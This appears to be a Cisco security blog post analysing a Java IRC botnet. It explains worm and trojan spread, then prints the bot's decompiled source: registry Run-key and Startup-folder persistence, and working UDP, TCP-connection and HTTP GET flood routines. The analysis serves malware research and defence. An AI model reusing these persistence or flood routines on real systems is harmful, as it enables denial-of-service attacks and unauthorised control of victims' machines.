Cisco Logo


Security

Before we begin part 3 in this series, let’s review what we’ve covered so far. In the first post we learned how this bot was discovered and some basics about botnets. In the second post we covered botnet fundamentals like command and control (C&C) and various other capabilities. In this post we will examine some of the offensive features incorporated into a botnet designed to launch attacks and maintain control of hosts (aka victims). First we will discuss how botnets spread and then we will look at flooding and how it’s implemented in this bot.

There are two main ways malware spreads. It’s important to note that these two methods are not mutually exclusive. The first method, made famous by the Morris worm, involves targeting a network-based vulnerability; the author designs an exploit to spread his malware. Once the malware takes over a machine it then infects other machines. Every time the binary moves from one machine to another the botnet has the potential to see exponential growth. Most vulnerabilities only affect a specific operating system at a specific range of patch levels. Malware of this nature often hits big and then its growth rate takes a steep dive as patches become available and as malware is removed. Once the vulnerability is patched, the malware must adapt or accept a shrinking attack surface. Two recent examples of this method are Conficker and Slammer. It is important to note the distinction between the growth rate slowing down and the number of compromised machines. There are still countless machines connected to the Internet running both worms. Even as the growth rate approaches zero, many, many computers have already been infected and continue to run the malware. In two days time on a single Intrusion Prevention System (IPS) we saw over 178,000 slammer attacks.

An attacker simply needs to trick an unsuspecting user into running a binary that is under the control of the attacker. This attack vector is known as a trojan horse. A malware author would package his wares as a link from a friend, a new game of interest, or even a program to create keys for pirated software, etc.

We call the technique of targeting a person’s curiosity, greed, compassion, or other emotions to accomplish an attacker’s computing objectives social engineering. Why spend hours ensuring malware takes advantage of the latest and greatest vulnerability instead of just making a clever, enticing package? This ensures that the attacker’s payload maintains the capability of affecting a much larger attack surface: anyone. People can’t be magically patched. Each one must be individually educated.

It may not seem obvious that this type of infection vector is extremely effective, but bear in mind the sheer volume an attacker can send. An attacker can send a billion e-mails for the same price as sending 10. If only a small percentage of users actually click and run the malware, the author wins. .01% of a billion is still 100k nodes, and let’s face it, I suspect a malware author would have much more luck than that. I’ve seen a single Osdok bot on spartan hardware maintain 250k e-mails per hour for hours. Later variants of Rustock are also capable of this. A botnet can have any number of nodes. Networks with hundreds of thousands of nodes are known to exist. Imagine the volume of messages they are capable of sending.

Those numbers seem pretty scary, but anti-spam technology has come a long way. I have been doing pure botnet research for about a year now and I keep several bots running at all times. I harvest their spam and exploits to better our technology and devices, and I have got to say I’ve been impressed. Out of the billions of e-mails processed, the number of spam messages my IronPort appliance blocked was well over 99.9%.

Due to the fact that malware that follows the trojan design requires human interaction, it is typical for these bots to spread very sporadically. The malware will spread as a region’s time of day approaches normal waking hours. While I’ve seen this mentioned a few times, I’ve never seen an actual term for this aspect of growth behavior, so I’ll give it one here: regional botnet morphogenesis (RBM). As a direct result of RBM, an entire region could remain relatively unaffected by malware until the time approaches business hours and people begin to check their e-mail or instant messenger. A sudden sharp spike in infection and related traffic occurs. Due to the delays in the malware’s propagation associated with RBM, this characteristic of a botnet occasionally allows security product vendors and researchers an extra hour or two to address or prepare for a piece of malware

The java bot we’ve been discussing does not have the capability to spread itself. It must be installed by another piece of malware or as a trojan horse. Once a user runs this bot, it installs a key into the registry that refers to the binary on the local file system to ensure the malware is loaded when the computer is rebooted. In a nutshell, the Windows registry stores start up programs, settings, and options for a computer. Pretty much all malware ensures it’s reloaded upon reboot, otherwise once a machine is rebooted or power cycled it would be free of the malicious program. Using the registry seems to be the preferred method.

 
public void run()     
{
     Runtime rt = Runtime.getRuntime();
     try

     {
     	copyfile(Misc.getJARLoc(), (new StringBuilder(String.valueOf(Misc.findStartup()))).append("\\jupdate.jar").toString());

        	copyfile(Misc.getJARLoc(), "C://j.jar");
            try {
            /*

             * Not really needed, this was just for when I used a dropper to drop the trojan into
             * the user's startup folder, also with java.
             */
            File f = new File(Misc.findStartup()+"//jusched.jar");

            f.delete();
            } catch(Exception e) { }

        } catch(Exception e) { }
            try

            {
                rt.exec("cmd.exe /C start reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v C://j.jar /t REG_SZ /d C://j.jar");
            }
            catch(IOException e)

            {
                e.printStackTrace();
            }
            catch(Exception exception) { }

    }

You can see the code to add the bot into the registry with the cmd.exe command. You will also notice above that the author mentions an older, “no longer needed” method. Let’s take a look at that as well.

 

    public static String findStartup()

    {
        if(System.getProperty("os.name").contains("xp"))

            return (new StringBuilder(String.valueOf(System.getProperty("user.home")))).append("\\Start Menu\\Programs\\Startup\\").toString();

        else
            return (new StringBuilder(String.valueOf(System.getProperty("user.home")))).append("\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\").toString();

    }

This is a very rudimentary and obvious method not often seen anymore. Basically, the malware copies itself into the Windows start up folder. It seems like the author intended the program to load once Windows loads. The strange thing here is that the file deletes itself right after the copy. It’s likely another bug or the author’s strange way of deprecating the method.

Removing something from the registry can be a daunting task for an inexperienced computer user. Using a registry key to ensure the malware is loaded at boot is the most popular method to ensure malware maintains control of the machine.

In addition to registry manipulations to maintain a presence on the host, the bot also supports a number of flood functions in its arsenal. In basic terms, a flood is sending the computer more requests than its bandwidth allows or more requests than it can process. Note that I’m using the word “request” here in a very open sense; it can apply to any protocol.

From a single machine, floods are relatively easy to stop. You can simply block or rate limit the IP address. This is what’s commonly referred to as a denial of service (DoS) attack. The problem becomes much more complex when the attack utilizes random IP addresses originating from all across the Internet. This is what is known as a distributed denial of service (DDoS) attack. The ability to conduct DDoS attacks has historically been the primary offensive capability of most botnets. This allows botmasters to extort network availability from victim sites or to launch attacks for other reasons.

Here is a brief list of the functions we will cover. Does anyone see a potential oddity in the chunk of code below given what we know about the bot’s command syntax?

if (cmd.startsWith("$sockFlood"))
if (cmd.equals("stopSockFlood"))
if (cmd.startsWith("$udpFlood"))
if (cmd.startsWith("$stopUdp"))
if(cmd.equals("$httpf")) {
if(cmd.equals("$stopFloods")) {

The UDP flood class simply sends packets to a random port until it reaches the number of packets specified by the botmaster. You'll notice the function allows for a delay, which can be specified by the botmaster. Constant floods are extremely easy to spot so by adding a delay the botmaster is attempting to hide his legion of bots amongst normal traffic.

	
	public void run()
    {
        while(udpFlooding && (count < connections || connections == 0)) 
        {

            try
            {
                byte buffer[] = new byte[1024];

                DatagramPacket packet = new DatagramPacket(buffer, buffer.length, InetAddress.getByName(host), Misc.randomNumber(65535));

                DatagramSocket socket = new DatagramSocket();
                socket.send(packet);

                count++;
                if(delay > 0)
                    sleep(delay);

            } catch (Exception e) {
            	
            }
        }

		IRC.sendMessage(Config.getChannel(), "Flooding finished!");
		stop();

    }

Likewise, the SocketFlooder class calls the socket method to open a series of connections to a specific TCP port. This type of attack is very similar to the popular synflood, but not identical. A synflood simply sends a syn packet, which normally is the first packet sent to establish a TCP session, and then ignores the rest of the session. The key difference here is that this flood actually establishes a connection. The end result of this attack is that it ends up using even more resources.

	
	public void run() 
	{
		for(int i = 0; i < times; i++) {

			try {
				if(!flooding) {
					IRC.sendMessage(Config.getChannel(), "Flooding finished");

					return;
				}
				@SuppressWarnings("unused")
				Socket s = new Socket(url, port);

				flooding = true;
			} catch (UnknownHostException e) {

				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (IOException e) {

				// TODO Auto-generated catch block
				e.printStackTrace();
			}
			try {

				Thread.sleep(delay);
			} catch (InterruptedException e) {

				// TODO Auto-generated catch block
				e.printStackTrace();
			}
		}
		IRC.sendMessage(Config.getChannel(), "Flooding finished!");

		stop();
	}
	private String url;
	private int port;
	private int times;
	private int delay;
	public static boolean flooding = false;

}

You'll notice that the botmaster has variables declared to set up a delay in this function as well. This is very likely due to the fact that the industry as a whole has become extremely adept at detecting synfloods. By adding a slight random delay between each request, the traffic has the potential to look more like normal traffic.

The bot also supports an HTTP flood engine. This is similar to the socket flooder, only the bot actually establishes an HTTP connection to a server and performs a GET on the specified URL. This is a much more effective DoS technique since it requires the server to do more work and since it is harder to differentiate between an attack and the normal network traffic handled by the host. Protocols like HTTP that are designed to serve anyone are much more susceptible to DDoS attacks since the servers regularly receive requests from random IP addresses.

	

public void run() 
	{

		while(httpFlooding && (this.count < this.connections || this.connections == 0)) 
		{

			try 
			{
				HttpURLConnection.setFollowRedirects(false);
				HttpURLConnection conn = (HttpURLConnection)(new URL(this.url)).openConnection();

				conn.setRequestMethod("GET");
				conn.getResponseCode();
				conn = null;

				count++;
			} catch(Exception e) {
			} finally {

				try {
					Thread.sleep(this.delay);
				} catch(InterruptedException ie) {

				}
			}
		}
		IRC.sendMessage(Config.getChannel(), "Flooding finished!");

		stop();
	}


In the last post of this series we will look into a few of the more interesting features this bot supports that previously I've only seen in much more complex bots. It's quite startling how quickly features that were brand new a year ago have already progressed into simple malware such as this.

Comments Are Closed

  1. Return to Countries/Regions
  2. Return to Home
  1. All Security
  2. All Security
  3. Return to Home